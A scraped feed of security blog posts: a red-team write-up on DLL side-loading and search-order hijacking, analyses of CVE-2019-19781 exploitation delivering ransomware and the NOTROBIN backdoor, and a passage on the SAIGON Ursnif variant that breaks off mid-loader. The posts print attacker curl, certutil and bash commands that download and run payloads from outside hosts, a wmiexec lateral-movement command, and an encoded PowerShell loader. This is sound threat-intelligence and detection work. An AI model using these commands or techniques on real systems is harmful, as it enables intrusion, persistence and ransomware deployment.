    DLL Abuse Techniques Overview Dynamic-link library (DLL) side-loading occurs when Windows Side-by-Side (WinSxS) manifests are not explicit about the characteristics of DLLs being loaded by a program. In layman’s terms, DLL side-loading can allow an attacker to trick a program into loading a malicious DLL. If you are interested in learning more about how DLL side-loading works and how we see attackers using this technique, read through our whitepaper. DLL hijacking occurs when an attacker is able to take advantage of the Windows search and load order, allowing the execution of a malicious DLL, rather than the legitimate DLL. DLL side-loading and hijacking has been around for years; in fact, FireEye Mandiant was one of the first to discover the DLL side-loading technique along with DLL search order hijacking back in 2010. So why are we still writing a blog about it? Because it’s still a method that works and is used in real world intrusions! FireEye Mandiant still identifies and observes threat groups using DLL abuse techniques during incident response (IR) engagements. There are still plenty of signed executables vulnerable to this, and our red team has weaponized DLL abuse techniques to be part of our methodology. For detection and preventative measures on DLL abuse techniques, see the “Detection and Preventative Measures” section in this blog post. Even though DLL abuse techniques are not new or cutting edge, this blog post will showcase how the FireEye Mandiant red team uses FireEye Intelligence to expedite the research phase of identifying vulnerable executables, at scale! We will also walk you through how to discover new executables susceptible to DLL abuse and how the FireEye Mandiant red team has weaponized these DLL abuse techniques in its DueDLLigence tool. The DueDLLigence tool was initially released to be a framework for application whitelisting bypasses, but given the nature of unmanaged exports it can be used for DLL abuse techniques as well. Collecting and Weaponizing FireEye Intelligence A benefit of being part of the red team at FireEye Mandiant is having access to a tremendous amount of threat intelligence; Our organization’s incident response and intelligence consultants have observed, documented, and analysed the actions of attackers across almost every major breach over the past decade. For this project, the FireEye Mandiant red team asked the FireEye Technical Operations and Reverse Engineering Advanced Practices (TORE AP) team to leverage FireEye Intelligence and provide us with all DLL abuse techniques used by attackers that matched the following criteria: A standalone PE file (.exe file) was used to call a malicious DLL The .exe must be signed and the certificate not expire within a year The intelligence about the technique must include the name of the malicious DLL that was called Once the results were provided to the red team, we started weaponizing the intelligence by taking the approach outlined in the rest of the post, which includes: Identifying executables susceptible to DLL search order hijacking Identifying library dependencies for the executable Satisfying API’s exported in the library DLL Search Order Hijacking In many cases it is possible to execute code within the context of a legitimate Portable Executable (PE) by taking advantage of insecure library references. If a developer allows LoadLibrary to resolve the path of a library dynamically then that PE will also look in the current directory for the library DLL. This behavior can be used for malicious purposes by copying a legitimate PE to a directory where the attacker has write access. If the attacker creates a custom payload DLL, then the application will load that DLL and execute the attacker’s code. This can be beneficial for a red team: the PE may be signed and have the appearance of trust to the endpoint security solution (AV/EDR), it may bypass application white listing (AWL) and can confuse/delay an investigation process. In this section we will look at one example where we identify the conditions for hijacking a PE and implement the requirements in our payload DLL. For this test case we will use a signed binary PotPlayerMini (MD5: f16903b2ff82689404f7d0820f461e5d). This PE was chosen since it has been used by attackers dating back to 2016. Identifying Library Dependencies It is possible to determine which libraries and exports a PE requires through static analysis with tools such as IDA or Ghidra. The screenshot shown in Figure 1, for example, shows that PotPlayerMini tries to load a DLL called “PotPlayer.dll”. Figure 1: Static Analysis of DLL’s loaded by PotPlayerMini Where static analysis is not feasible or desirable it may be possible to use a hooking framework such as API Monitor or Frida to profile the LoadLibrary / GetProcAddress behavior of the application. In Figure 2 we used API Monitor to see this same DLL loading behavior. As you can see, PotPlayerMini is looking for the PotPlayer.dll file in its current directory. At this point, we have validated that PotPlayerMini is susceptible to DLL search order hijacking. Figure 2: Dynamic Analysis of DLL’s loaded by PotPlayerMini Satisfying Exports After identifying potentially vulnerable library modules we need to apply a similar methodology to identify which exports are required from the module PE. Figure 3 shows a decompiled view from PotPlayerMini highlighting which exports it is looking for within the GetProcAddress functions using static analysis. Figure 4 shows performing this same analysis of exports in the PotPlayerMini application, but using dynamic analysis instead. Figure 3: Static Analysis of exports in PotPlayerMini DLL Figure 4: Dynamic Analysis of exports in PotPlayerMini DLL In our case the payload is a .NET DLL which uses UnmanagedExports so we have to satisfy all export requirements from the binary as shown in Figure 5. This is because the .NET UnmanagedExports library does not support DllMain, since that is an entry point and is not exported. All export requirements need to be satisfied to ensure the DLL has all the functions exported which the program accesses via GetProcAddress or import address table (IAT). These export methods will match those that were observed in the static and dynamic analysis. This may require some trial and error depending on the validation that is present in the binary. Figure 5: Adding export requirements in .NET DLL Once we execute the binary, we can see that it successfully executes our function as shown in Figure 6. Figure 6: Executing binary susceptible to DLL abuse DLL Hijacking Without Satisfying All Exports When writing a payload DLL in C/C++ it is possible to hijack control flow in DllMain. When doing this it is not necessary to enumerate and satisfy all needed exports as previously described. There also may be cases where the DLL does not have any exports and can only be hijacked via the DllMain entry point. An example of this can be shown with the Windows Media Player Folder Sharing executable called wmpshare.exe. You can copy the executable to a directory out of its original location (C:\Program Files (x86)\Windows Media Player) and perform dynamic analysis using API Monitor. In Figure 7, you can see that the wmpshare.exe program uses the LoadLibraryW method to load the wmp.dll file, but does not specify an explicit path to the DLL. When this happens, the LoadLibraryW method will first search the directory in which the process was created (present working directory). Full details on the search order used can be found in  the LoadLibraryW documentation and the CreateProcess documentation. Figure 7: Viewing LoadLibrary calls in wmpshare.exe Since it does not specify an explicit path, you can test if it can be susceptible to DLL hijacking by creating a blank file named “wmp.dll” and copying it to the same directory as the wmpshare.exe file. Now when running the wmpshare executable in API Monitor, you can see it is first checking in its current directory for the wmp.dll file, shown in Figure 8. Therefore, it is possible to use this binary for DLL hijacking. Figure 8: Viewing LoadLibrary calls in wmpshare.exe with dummy dll present Figure 9 shows using the wmpshare executable in a weaponized manner to take advantage of the DllMain entry point with a DLL created in C++. Figure 9: Using the DllMain entry point Discovering New Executables Susceptible to DLL Abuse In addition to weaponizing the FireEye intelligence of the executables used for DLL abuse by attackers, the FireEye Mandiant red team performed research to discover new executables susceptible to abuse by targeting Windows system utilities and third-party applications. Windows System Utilities The FireEye Mandiant red team used the methodology previously described in the Collecting and Weaponizing FireEye Intelligence section to look at Windows system utilities present in the C:\Windows\System32 directory that were susceptible to DLL abuse techniques. One of the system utilities found was the deployment image servicing and management (DISM) utility (Dism.exe). When performing dynamic analysis of this system utility, it was observed that it was attempting to load the DismCore.dll file in the current directory as shown in Figure 10. Figure 10: Performing dynamic analysis of Dism utility Next, we loaded the DISM system utility into API Monitor from its normal path (C:\Windows\System32) in order to see the required exports as shown in Figure 11. Figure 11: Required exports for DismCore.dll The code shown in Figure 12 was added to DueDLLigence to validate that the DLL was vulnerable and could be ran successfully using the DISM system utility. Figure 12: Dism export method added to DueDLLigence Third-Party Applications The FireEye Mandiant red team also targeted executable files associated with common third-party applications that could be susceptible to DLL abuse. One of the executable files discovered was a Tortoise SVN utility (SubWCRev.exe).  When performing dynamic analysis of this Tortoise SVN utility, it was observed that it was attempting to load crshhndl.dll in the current directory. The export methods are shown in Figure 13. Figure 13: Performing dynamic analysis of SubWCRev.exe The code shown in Figure 14 was added to DueDLLigence to validate that the DLL was vulnerable and could be ran successfully using the Tortoise SVN utility. Figure 14: SubWCRev.exe export methods added to DueDLLigence Applying It to the Red Team Having a standalone trusted executable allows the red team to simply copy the trusted executable and malicious DLL to a victim machine and bypass various host-based security controls, including application whitelisting. Once the trusted executable (vulnerable to DLL abuse) and malicious DLL are both in the same present working directory, the executable will call the corresponding DLL within the same directory. This method can be used in multiple phases of the attack lifecycle as payload implants, including phases such as establishing persistence and performing lateral movement. Persistence In this example, we will be using the Windows system utility Dism.exe discovered in the Windows System Utilities section as our executable, along with a DLL generated by DueDLLigence in conjunction with SharPersist to establish persistence on a target system. First, the DISM system utility and malicious DLL are uploaded to the target system as shown in Figure 15. Figure 15: Uploading payload files Then we use SharPersist to add startup folder persistence, which uses our DISM system utility and associated DLL as shown in Figure 16. Figure 16: Adding startup folder persistence with SharPersist After the target machine has been rebooted and the targeted user has logged on, Figure 17 shows our Cobalt Strike C2 server receiving a beacon callback from our startup folder persistence where we are living in the Dism.exe process. Figure 17: Successful persistence callback Lateral Movement We will continue using the same DISM system utility and DLL file for lateral movement. The HOGWARTS\adumbledore user has administrative access to the remote host 192.168.1.101 in this example. We transfer the DISM system utility and the associated DLL file via the SMB protocol to the remote host as shown in Figure 18. Figure 18: Transferring payload files to remote host via SMB Then we setup a SOCKS proxy in our initial beacon, and use Impacket’s wmiexec.py to execute our payload via the Windows Management Instrumentation (WMI) protocol, as shown in Figure 19 and Figure 20. proxychains python wmiexec.py -nooutput DOMAIN/user:password:@x.x.x.x C:\\Temp\\Dism.exe Figure 19: Executing payload via WMI with Impacket’s wmiexec.py Figure 20: Output of executing command shown in Figure 19 We receive a beacon from the remote host, shown in Figure 21, after executing the DISM system utility via WMI. Figure 21: Obtaining beacon on remote host Detection and Preventative Measures Detailed prevention and detection methods for DLL side-loading are well documented in the whitepaper and mentioned in the DLL Abuse Techniques Overview. The whitepaper breaks it down into preventative measures at the software development level and goes into recommendations for the endpoint user level. A few detection methods that are not mentioned in the whitepaper include: Checking for processes that have unusual network connectivityIf you have created a baseline of normal process network activity, and network activity for a given process has become different than the baseline, it is possible the said process has been compromised. DLL whitelistingTrack the hashes of DLLs used on systems to identify discrepancies. These detection methods are difficult to implement at scale, but possible to utilize. That is exactly why this old technique is still valid and used by modern red teams and threat groups. The real problem that allows this vulnerability to continue to exist has to do with software publishers. Software publishers need to be aware of DLL abuse techniques and know how to prevent such vulnerabilities from being developed into products (e.g. by implementing the mitigations discussed in our whitepaper). Applying these recommendations will reduce the DLL abuse opportunities attackers use to bypass several modern-day detection techniques. Microsoft has provided some great resources on DLL security and triaging a DLL hijacking vulnerability. Conclusion Threat intelligence provides immense value to red teamers who are looking to perform offensive research and development and emulate real-life attackers. By looking at what real attackers are doing, a red teamer can glean inspiration for future tooling or TTPs. DLL abuse techniques can be helpful from an evasion standpoint in multiple phases of the attack lifecycle, such as persistence and lateral movement. There will continue to be more executables discovered that are susceptible to DLL abuse and used by security professionals and adversaries alike.

  • Nice Try: 501 (Ransomware) Not Implemented
    by Matt Bromiley on January 24, 2020 at 5:00 pm

    An Ever-Evolving Threat Since January 10, 2020, FireEye has tracked extensive global exploitation of CVE-2019-19781, which continues to impact Citrix ADC and Gateway instances that are unpatched or do not have mitigations applied. We previously reported on attackers’ swift attempts to exploit this vulnerability and the post-compromise deployment of the previously unseen NOTROBIN malware family by one threat actor. FireEye continues to actively track multiple clusters of activity associated with exploitation of this vulnerability, primarily based on how attackers interact with vulnerable Citrix ADC and Gateway instances after identification. While most of the CVE-2019-19781 exploitation activity we’ve observed to this point has led to the deployment of coin miners or most commonly NOTROBIN, recent compromises suggest that this vulnerability is also being exploited to deploy ransomware. If your organization is attempting to assess whether there is evidence of compromise related to exploitation of CVE-2019-19781, we highly encourage you to use the IOC Scanner co-published by FireEye and Citrix, which detects the activity described in this post. Between January 16 and 17, 2020, FireEye Managed Defense detected the IP address 45[.]120[.]53[.]214 attempting to exploit CVE-2019-19781 at dozens of FireEye clients. When successfully exploited, we observed impacted systems executing the cURL command to download a shell script with the file name ld.sh from 45[.]120[.]53[.]214 (Figure 1). In some cases this same shell script was instead downloaded from hxxp://198.44.227[.]126:81/citrix/ld.sh. Figure 1: Snippet of ld.sh, downloaded from 45.120.53.214 The shell script, provided in Figure 2, searches for the python2 binary (Note: Python is only pre-installed on Citrix Gateway 12.x and 13.x systems) and downloads two additional files to the system: piz.Lan, a XOR-encoded data blob, and de.py, a Python script, to a temporary directory. This script then changes permissions and executes de.py, which subsequently decodes and decompresses piz.Lan. Finally, the script cleans up the initial staging files and executes scan.py, an additional script we will cover in more detail later in the post. #!/bin/sh rm $0 if [ ! -f “/var/python/bin/python2” ]; then echo ‘Exit’ exit fi mkdir /tmp/rAgn cd /tmp/rAgn curl hxxp://45[.]120[.]53[.]214/piz.Lan -o piz.Lan sleep 1 curl hxxp://45[.]120[.]53[.]214/de -o de.py chmod 777 de.py /var/python/bin/python2 de.py rm de.py rm piz.Lan rm .new.zip cd httpd /var/python/bin/python2 scan.py -n 50 -N 40 & Figure 2: Contents of ld.sh, a shell-script to download additional tools to the compromised system piz.Lan -> .net.zip Armed with the information gathered from de.py, we turned our attention to decoding and decompressing “.net.zip” (MD5: 0caf9be8fd7ba5b605b7a7b315ef17a0). Inside, we recovered five files, represented in Table 1: Filename Functionality MD5 x86.dll 32-bit Downloader 9aa67d856e584b4eefc4791d2634476a x64.dll 64-bit Downloader 55b40e0068429fbbb16f2113d6842ed2 scan.py Python socket scanner b0acb27273563a5a2a5f71165606808c xp_eternalblue.replay Exploit replay file 6cf1857e569432fcfc8e506c8b0db635 eternalblue.replay Exploit replay file 9e408d947ceba27259e2a9a5c71a75a8 Table 1: Contents of the ZIP file “.new.zip”, created by the script de.py The contents of the ZIP were explained via analysis of the file scan.py, a Python scanning script that would also automate exploitation of identified vulnerable system(s). Our initial analysis showed that this script was a combination of functions from multiple open source projects or scripts. As one example, the replay files, which were either adapted or copied directly from this public GitHub repository, were present in the Install_Backdoor function, as shown in Figure 3: Figure 3: Snippet of scan.py showing usage of EternalBlue replay files This script also had multiple functions checking whether an identified system is 32- vs. 64-bit, as well as raw shell code to step through an exploit. The exploit_main function, when called, would appropriately choose between 32- or 64-bit and select the right DLL for injection, as shown in Figure 4. Figure 4: Snippet of scan.py showing instructions to deploy 32- or 64-bit downloaders I Call Myself Ragnarok Our analysis continued by examining the capabilities of the 32- and 64-bit DLLs, aptly named x86.dll and x64.dll. At only 5,120 bytes each, these binaries performed the following tasks (Figure 5 and Figure 6): Download a file named patch32 or patch64 (respective to operating system bit-ness) from a hard-coded URL using certutil, a native tool used as part of Windows Certificate Services (categorized as Technique 11005 within MITRE’s ATT&CK framework). Execute the downloaded binary since1969.exe, located in C:\Users\Public. Delete the URL from the current user’s certificate cache. certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch32 C:/Users/Public/since1969.exe cmd.exe /c C:/Users/Public/since1969.exe certutil -urlcache -f hxxp://45.120.53[.]214/patch32 delete Figure 5: Snippet of strings from x86.dll certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch64 C:/Users/Public/since1969.exe cmd.exe /c C:/Users/Public/since1969.exe certutil -urlcache -f hxxp://45.120.53[.]214/patch64 delete Figure 6: Snippet of strings from x64.dll Although neither patch32 nor patch64 were available at the time of analysis, FireEye identified a file on VirusTotal with the name avpass.exe (MD5: e345c861058a18510e7c4bb616e3fd9f) linked to the IP address 45[.]120[.]53[.]214 (Figure 8). This file is an instance of the publicly available Meterpreter backdoor that was uploaded on November 12, 2019. Additional analysis confirmed that this binary communicated to 45[.]120[.]53[.]214 over TCP port 1234. Figure 7: VirusTotal graph showing links between resources hosted on or communicating with 45.120.53.214 Within the avpass.exe binary, we found an interesting PDB string that provided more context about the tool’s author: “C:\Users\ragnarok\source\repos\avpass\Debug\avpass.pdb”. Utilizing ragnarok as a keyword, we pivoted and were able to identify a separate copy of since1969.exe (MD5: 48452dd2506831d0b340e45b08799623) uploaded to VirusTotal on January 23, 2020. The binary’s compilation timestamp of January 16, 2020, aligns with our earliest detections associated with this threat actor. Further analysis and sandboxing of this binary brought all the pieces together—this threat actor may have been attempting to deploy ransomware aptly named ‘Ragnarok’. We’d like to give credit to this Tweet from Karsten Hahn, who identified ragnarok-related about artifacts on January 17, 2020, again aligning with the timeframe of our initial detection. Figure 8 provides a snippet of files created by the binary upon execution. Figure 8: Ragnarok-related ransomware files The ransom note dropped by this ransomware, shown in Figure 11, points to three email addresses. 6.it’s wise to pay as soon as possible it wont make you more losses the ransome: 1 btcoin for per machine,5 bitcoins for all machines how to buy bitcoin and transfer? i think you are very good at googlesearch [email protected][.]com [email protected][.]com [email protected][.]com Attention:if you wont pay the ransom in five days, all of your files will be made public on internet and will be deleted Figure 9: Snippet of ransom note dropped by “since1969.exe” Implications FireEye continues to observe multiple actors who are currently seeking to take advantage of CVE-2019-19781. This post outlines one threat actor who is using multiple exploits to take advantage of vulnerable internal systems and move laterally inside the organization. Based on our initial observations, the ultimate intent may have been the deployment of ransomware, using the Gateway as a central pivot point. As previously mentioned, if suspect your Citrix appliances may have been compromised, we recommend utilizing the tool FireEye released in partnership with Citrix. Detect the Technique Aside from CVE-2019-19781, FireEye detects the activity described in this post across our platforms, including named detections for Meterpreter, and EternalBlue. Table 2 contains several specific detection names to assist in detection of this activity. Signature Name CERTUTIL.EXE DOWNLOADER (UTILITY) CURL Downloading Shell Script ETERNALBLUE EXPLOIT METERPRETER (Backdoor) METERPRETER URI (STAGER) SMB – ETERNALBLUE Table 2: FireEye Detections for activity described in this post Indicators Table 3 provides the unique indicators discussed in this post. Indicator Type Indicator Notes Network 45[.]120[.]53[.]214   Network 198[.]44[.]227[.]126   Host 91dd06f49b09a2242d4085703599b7a7 piz.Lan Host 01af5ad23a282d0fd40597c1024307ca de.py Host bd977d9d2b68dd9b12a3878edd192319 ld.sh Host 0caf9be8fd7ba5b605b7a7b315ef17a0 .new.zip Host 9aa67d856e584b4eefc4791d2634476a x86.dll Host 55b40e0068429fbbb16f2113d6842ed2 x64.dll Host b0acb27273563a5a2a5f71165606808c scan.py Host 6cf1857e569432fcfc8e506c8b0db635 xp_eternalblue.replay Host 9e408d947ceba27259e2a9a5c71a75a8 eternalblue.replay Host e345c861058a18510e7c4bb616e3fd9f avpass.exe Host 48452dd2506831d0b340e45b08799623 since1969.exe Email Address [email protected][.]com From ransom note Email Address [email protected][.]com From ransom note Email Address [email protected][.]com From ransom note Table 3: Collection of IOCs from this blog post

  • 404 Exploit Not Found: Vigilante Deploying Mitigation for Citrix NetScaler Vulnerability While Maintaining Backdoor
    by William Ballenthin on January 16, 2020 at 3:00 am

    As noted in Rough Patch: I Promise It’ll Be 200 OK, our FireEye Mandiant Incident Response team has been hard at work responding to intrusions stemming from the exploitation of CVE-2019-19781. After analyzing dozens of successful exploitation attempts against Citrix ADCs that did not have the Citrix mitigation steps implemented, we’ve recognized multiple groups of post-exploitation activity. Within these, something caught our eye: one particular threat actor that’s been deploying a previously-unseen payload for which we’ve created the code family NOTROBIN. Upon gaining access to a vulnerable NetScaler device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign. Initial Compromise This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device. They issue an HTTP POST request from a Tor exit node to transmit the payload to the vulnerable newbm.pl CGI script. For example, Figure 1 shows a web server access log entry recording exploitation: 127.0.0.2 – – [12/Jan/2020:21:55:19 -0500] “POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1” 304 – “-” “curl/7.67.0” Figure 1: Web log showing exploitation Unlike other actors, this actor appears to exploit devices using a single HTTP POST request that results in an HTTP 304 response—there is no observed HTTP GET to invoke staged commands. Unfortunately, we haven’t recovered the POST body contents to see how it works.  In any case, exploitation causes the Bash one liner shown in Figure 2 to run on the compromised system: pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o /tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo “* * * * * /var/nstmp/.nscache/httpd” | crontab -; /tmp/.init/httpd &” Figure 2: Bash exploit payload This is the same methodology as described in Rough Patch: I Promise It’ll Be 200 OK. The effects of this series of commands includes: Kill and delete all running instances of netscalerd—a common process name used for cryptocurrency mining utilities deployed to NetScaler devices. Creates a hidden staging directory /tmp/.init, download NOTROBIN to it, and enable the execute permission. Install /var/nstmp/.nscache/httpd for persistence via the cron daemon. This is the path to which NOTROBIN will copy itself. Manually execute NOTROBIN. There’s a lot to unpack here. Of note, the actor removes malware known to target NetScaler devices via the CVE-2019-19781 vulnerability. Cryptocurrency miners are generally easy to identify—just look for the process utilizing nearly 100% of the CPU. By uninstalling these unwanted utilities, the actor may hope that administrators overlook an obvious compromise of their NetScaler devices. The actor uses curl to fetch NOTROBIN from the hosting server with IP address 95.179.163[.]186 that appears to be an abandoned WordPress site. FireEye has identified many payloads hosted on this server, each named after their embedded authentication key. Interestingly, we haven’t seen reuse of the same payload across multiple clients. Compartmenting payloads indicates the actor is exercising operational security. FireEye has recovered cron syslog entries, such as those shown in Figure 3, that confirm the persistent installation of NOTROBIN. Note that these entries appear just after the initial compromise. This is a robust indicator of compromise to triage NetScaler devices. Jan 12 21:57:00 <cron.info> foo.netscaler /usr/sbin/cron[73531]: (nobody) CMD (/var/nstmp/.nscache/httpd) Figure 3: cron log entry showing NOTROBIN execution Now, let’s turn our attention to what NOTROBIN does. Analysis of NOTROBIN NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system. When executed, NOTROBIN ensures that it is running from the path /var/nstmp/.nscache/httpd. If not, the utility copies itself to this path, spawns the new copy, and then exits itself. This provides detection cover by migrating the process from /tmp/, a suspicious place for long-running processes to execute, to an apparently NetScaler-related, hidden directory. Now the fun begins: it spawns two routines that periodically check for and delete exploits. Every second, NOTROBIN searches the directory /netscaler/portal/scripts/ for entries created within the last 14 days and deletes them, unless the filename or file content contains a hardcoded key (example: 64d4c2d3ee56af4f4ca8171556d50faa). Open source reporting indicates that some actors write scripts into this directory after exploiting CVE-2019-19781. Therefore, we believe that this routine cleans the system of publicly known payloads, such as PersonalBookmark.pl. Eight times per second, NOTROBIN searches for files with an .xml extension in the directory /netscaler/portal/templates/. This is the directory into which exploits for CVE-2019-19781 write templates containing attacker commands. NOTROBIN deletes files that contain either of the strings block or BLOCK, which likely match potential exploit code, such as that found in the ProjectZeroIndia exploit; however, the utility does not delete files with a filename containing the secret key. FireEye believes that actors deploy NOTROBIN to block exploitation of the CVE-2019-19781 vulnerability while maintaining backdoor access to compromised NetScaler devices. The mitigation works by deleting staged exploit code found within NetScaler templates before it can be invoked. However, when the actor provides the hardcoded key during subsequent exploitation, NOTROBIN does not remove the payload. This lets the actor regain access to the vulnerable device at a later time. Across multiple investigations, FireEye observed actors deploying NOTROBIN with unique keys. For example, we’ve recovered nearly 100 keys from different binaries. These look like MD5 hashes, though FireEye has been unsuccessful in recovering any plaintext. Using complex, unique keys makes it difficult for third parties, such as competing attackers or FireEye, to easily scan for NetScaler devices “protected” by NOTROBIN. This actor follows a strong password policy! Based on strings found within NOTROBIN, the actor appears to inject the key into the Go project using source code files named after the key. Figure 4 and Figure 5 show examples of these filenames. /tmp/b/.tmpl_ci/64d4c2d3ee56af4f4ca8171556d50faa.go Figure 4: Source filename recovered from NOTROBIN sample /root/backup/sources/d474a8de77902851f96a3b7aa2dcbb8e.go Figure 5: Source filename recovered from NOTROBIN sample We wonder if “tmpl_ci” refers to a Continuous Integration setup that applies source code templating to inject keys and build NOTROBIN variants. We also hope the actor didn’t have to revert to backups after losing the original source! Outstanding Questions NOTROBIN spawns a background routine that listens on UDP port 18634 and receives data; however, it drops the data without inspecting it. You can see this logic in Figure 6. FireEye has not uncovered a purpose for this behavior, though DCSO makes a strong case for this being used as a mutex, as only a single listener can be active on this port. Figure 6: NOTROBIN logic that drops UDP traffic There is also an empty function main.install_cron whose implementation has been removed, so alternatively, perhaps these are vestiges of an early version of NOTROBIN. In any case, a NetScaler device listening on UDP port 18634 is a reliable indicator of compromise. Figure 7 shows an example of listing the open file handles on a compromised NetScaler device, including a port listening on UDP 18634. Figure 7: File handling listing of compromised NetScaler device NOTROBIN Efficacy During one engagement, FireEye reviewed forensic evidence of NetScaler exploitation attempts against a single device, both before and after NOTROBIN was deployed by an actor. Prior to January 12, before NOTROBIN was installed, we identified successful attacks from multiple actors. But, across the following three days, more than a dozen exploitation attempts were thwarted by NOTROBIN. In other words, NOTROBIN inoculated the vulnerable device from further compromise. For example, Figure 8 shows a log message that records a failed exploitation attempt. 127.0.0.2 – – [13/Jan/2020:05:09:07 -0500] “GET /vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1” 404 48 “-” “curl/7.47.0″ Figure 8: Web log entry showing a failed exploitation attempt Note that the application server responded with HTTP 404 (“Not Found”) as this actor attempts to invoke their payload staged in the template wTyaINaDVPaw8rmh.xml. NOTROBIN deleted the malicious template shortly after it was created – and before it could be used by the other actor. FireEye has not yet identified if the actor has returned to NOTROBIN backdoors. Conclusion FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators that check into their devices after reading Citrix security bulletin CTX267027. NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a backdoor for an actor with a secret key. While we haven’t seen the actor return, we’re skeptical that they will remain a Robin Hood character protecting the internet from the shadows. Indicators of Compromise and Discovery Table 1 lists indicators that match NOTROBIN variants that FireEye has identified. The domain vilarunners[.]cat is the WordPress site that hosted NOTROBIN payloads. The domain resolved to 95.179.163[.]186 during the time of observed activity. As of January 15, the vilarunners[.]cat domain currently resolves to a new IP address of 80.240.31[.]218. IOC Item Value HTTP URL prefix hxxps://95[.]179.163.186/wp-content/uploads/2018/09/ Directory /var/nstmp/.nscache Filename /var/nstmp/.nscache/httpd Directory /tmp/.init Filename /tmp/.init/httpd Crontab entry /var/nstmp/.nscache/httpd Listening UDP port 18634 Remote IP 95.179.163[.]186 Remote IP 80.240.31[.]218 Domain vilarunners[.]cat Table 1: Indicators of Compromise Discovery on VirusTotal You can use the following VTI queries to identify NOTROBIN variants on VirusTotal: vhash:”73cee1e8e1c3265c8f836516c53ae042″ vhash:”e57a7713cdf89a2f72c6526549d22987” Note, the vHash implementation is private, so we’re not able to confirm why this technique works. In practice, the vHashes cover the same variants identified by the Yara rule listed in Figure 9. rule NOTROBIN {     meta:         author = “[email protected]”         date_created = “2020-01-15”     strings:         $func_name_1 = “main.remove_bds”         $func_name_2 = “main.xrun”     condition:         all of them } Figure 9: Yara rule that matches on NOTROBIN variants Recovered Authentication Keys FireEye has identified nearly 100 hardcoded keys from NOTROBIN variants that the actor could use to re-enter compromised environments. We expect that these strings may be found within subsequent exploitation attempts, either as filenames or payload content. Although we won’t publish them here out of concern for our customers, please reach out if you’re looking for NOTROBIN within your environment and we can provide a list. Acknowledgements Thank you to analysts across FireEye that are currently responding to this activity, including Brandan Schondorfer for collecting and interpreting artifacts, Steven Miller for coordinating analysis, Evan Reese for pivoting across intel leads, Chris Glyer for reviewing technical aspects, Moritz Raabe for reverse engineering NOTROBIN samples, and Ashley Frazer for refining the presentation and conclusions.

  • SAIGON, the Mysterious Ursnif Fork
    by Sandor Nemes on January 9, 2020 at 5:30 pm

    Ursnif (aka Gozi/Gozi-ISFB) is one of the oldest banking malware families still in active distribution. While the first major version of Ursnif was identified in 2006, several subsequent versions have been released in large part due source code leaks. FireEye reported on a previously unidentified variant of the Ursnif malware family to our threat intelligence subscribers in September 2019 after identification of a server that hosted a collection of tools, which included multiple point-of-sale malware families. This malware self-identified as “SaiGon version 3.50 rev 132,” and our analysis suggests it is likely based on the source code of the v3 (RM3) variant of Ursnif. Notably, rather than being a full-fledged banking malware, SAIGON’s capabilities suggest it is a more generic backdoor, perhaps tailored for use in targeted cybercrime operations. Technical Analysis Behavior SAIGON appears on an infected computer as a Base64-encoded shellcode blob stored in a registry key, which is launched using PowerShell via a scheduled task. As with other Ursnif variants, the main component of the malware is a DLL file. This DLL has a single exported function, DllRegisterServer, which is an unused empty function. All the relevant functionality of the malware executes when the DLL is loaded and initialized via its entry point. Upon initial execution, the malware generates a machine ID using the creation timestamp of either %SystemDrive%\pagefile.sys or %SystemDrive%\hiberfil.sys (whichever is identified first). Interestingly, the system drive is queried in a somewhat uncommon way, directly from the KUSER_SHARED_DATA structure (via SharedUserData→NtSystemRoot). KUSER_SHARED_DATA is a structure located in a special part of kernel memory that is mapped into the memory space of all user-mode processes (thus shared), and always located at a fixed memory address (0x7ffe0000, pointed to by the SharedUserData symbol). The code then looks for the current shell process by using a call to GetWindowThreadProcessId(GetShellWindow(), …). The code also features a special check; if the checksum calculated from the name of the shell’s parent process matches the checksum of explorer.exe (0xc3c07cf0), it will attempt to inject into the parent process instead. SAIGON then injects into this process using the classic VirtualAllocEx / WriteProcessMemory / CreateRemoteThread combination of functions. Once this process is injected, it loads two embedded files from within its binary: A PUBLIC.KEY file, which is used to verify and decrypt other embedded files and data coming from the malware’s command and control (C2) server A RUN.PS1 file, which is a PowerShell loader script template that contains a “@[email protected]” placeholder within the script: $hanksefksgu = [System.Convert]::FromBase64String(“@[email protected]”); Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(“JHdneG1qZ2J4dGo9JGh hbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF 0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB ucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K GAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RlVGhyZWFkKEl udFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN 0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI pXWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGFqLC 